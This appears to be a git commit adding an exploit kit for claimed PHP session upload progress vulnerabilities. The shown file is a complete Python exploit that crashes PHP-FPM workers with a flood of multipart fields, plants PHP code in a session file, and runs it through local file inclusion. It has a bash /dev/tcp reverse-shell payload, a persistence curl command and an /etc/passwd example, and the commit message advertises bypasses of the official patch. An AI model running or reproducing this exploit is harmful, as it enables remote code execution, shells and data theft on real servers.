PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+426
View File
@@ -0,0 +1,426 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
The PHP multipart parser (rfc1867.c) allocates memory for each form field
during request parsing. By sending enough fields to exceed memory_limit
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
skips session.upload_progress cleanup — even with cleanup=1 (default).
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
PHP code — persists on disk. A follow-up request to a new FPM worker
includes this file via an LFI vector, executing our code.
Phase 1 ─ Poison + Crash
Multipart body:
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
2. File upload (triggers progress handler → session flush to disk)
3. N form fields (OOM during parsing → bailout → cleanup skipped)
Worker crashes → session file persists with PHP code on disk.
Phase 2 ─ Trigger
FPM master spawns new worker. We include the session file via LFI
and the embedded PHP code executes.
Requirements:
- PHP-FPM with session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields (or RLIMIT_AS)
- An LFI vector in the target (include/require with user input)
- Known or guessable session.save_path
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
Usage:
python3 exploit.py -t http://target/app.php --cmd 'id'
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 exploit.py -t http://target/app.php --trigger-only
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
FIELD_COUNT = 30000
FIELD_SIZE = 512
BATCH = 500
USE_CHUNKED = True
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
# ─── multipart builder ───────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── HTTP helpers ────────────────────────────────────────────────────
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def http_get(host, port, tls, path, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout)
sock.close()
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out = b""
data = raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
# ─── Phase 1: poison session + crash worker ──────────────────────────
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
chunked=True):
"""Send multipart: upload progress + file + OOM fields.
Returns (http_status_or_0, fields_sent_before_crash).
When chunked=False, builds full body with Content-Length. Required
when nginx has fastcgi_request_buffering off — chunked bodies bypass
PHP's multipart parser in that configuration.
"""
if not chunked:
return _phase1_contentlength(host, port, tls, path, bnd, sid,
php_code, fields, fsize)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
# 2. File upload — triggers progress handler, session flushed to disk
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
sent = 0
for start in range(0, fields, BATCH):
end = min(start + BATCH, fields)
batch = b""
for i in range(start, end):
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
try:
send_chunk(sock, batch)
sent = end
except (BrokenPipeError, ConnectionResetError, OSError):
break
try:
send_chunk(sock, mp_end(bnd))
sock.sendall(b"0\r\n\r\n")
except:
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), sent
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
fields, fsize):
"""Content-Length variant — builds the full body then sends it."""
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), fields
# ─── Phase 2: LFI include of session file ───────────────────────────
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
"""Try including the session file via common paths."""
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
return resp, sess
except:
continue
return None, None
# ─── main ────────────────────────────────────────────────────────────
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
sid = args.session_id or os.urandom(16).hex()
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
# Build PHP payload
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Session ID : {sid}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} × {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# ── Phase 0: verify target ──
print("[*] Phase 0: checking target...")
try:
r0 = http_get(host, port, tls, path, timeout=5)
sc = status_code(r0)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — target alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# ── Phase 1: poison session + crash ──
print()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Injecting {len(php_code)}B PHP code into session key...")
use_chunked = not args.no_chunked
if not use_chunked:
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
status, fields_sent = phase1(
host, port, tls, path, bnd, sid,
php_code, args.fields, args.field_size,
chunked=use_chunked,
)
if status == 502 or status == 0:
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
elif status == 500:
print(f" [+] HTTP 500 — OOM during script (worker survived)")
else:
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(1.5)
for i in range(8):
try:
r1 = http_get(host, port, tls, path, timeout=3)
sc1 = status_code(r1)
if sc1 in (200, 301, 302, 403, 404):
print(f" New worker ready (HTTP {sc1})")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available after 8 retries")
sys.exit(1)
# ── Phase 2: LFI trigger ──
print()
print("[*] Phase 2: including poisoned session file via LFI...")
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
if resp is None:
print(" [!] Session file not found at any common path")
print(f" Try: --session-path /actual/path")
print(f" File: sess_{sid}")
sys.exit(1)
output = body_of(resp).decode(errors="replace")
print(f" Session file: {sess_path}")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
if m:
print()
print(f"[+] Code execution confirmed!")
print(f" {m.group(1)}")
else:
print(f" [*] Session file exists but code may not have executed")
print(f" Response: {output[:200]}")
return
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved via CVE-2026-109618!")
print()
print("[*] For continued access:")
cmd_b64 = base64.b64encode(b"id").decode()
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
else:
print()
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
print(f"[*] Session file for re-exploitation: {sess_path}")
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
--session-path /var/lib/php/sessions --lfi-param tpl
""")
ap.add_argument("-t", "--target", required=True, help="Target URL")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vuln without RCE payload")
ap.add_argument("--session-path",
help="session.save_path on target (default: common paths)")
ap.add_argument("--session-id",
help="Force PHPSESSID (default: random hex)")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
help=f"Bytes per field (default: {FIELD_SIZE})")
ap.add_argument("--no-chunked", action="store_true",
help="Use Content-Length instead of chunked encoding "
"(required when nginx has fastcgi_request_buffering off)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()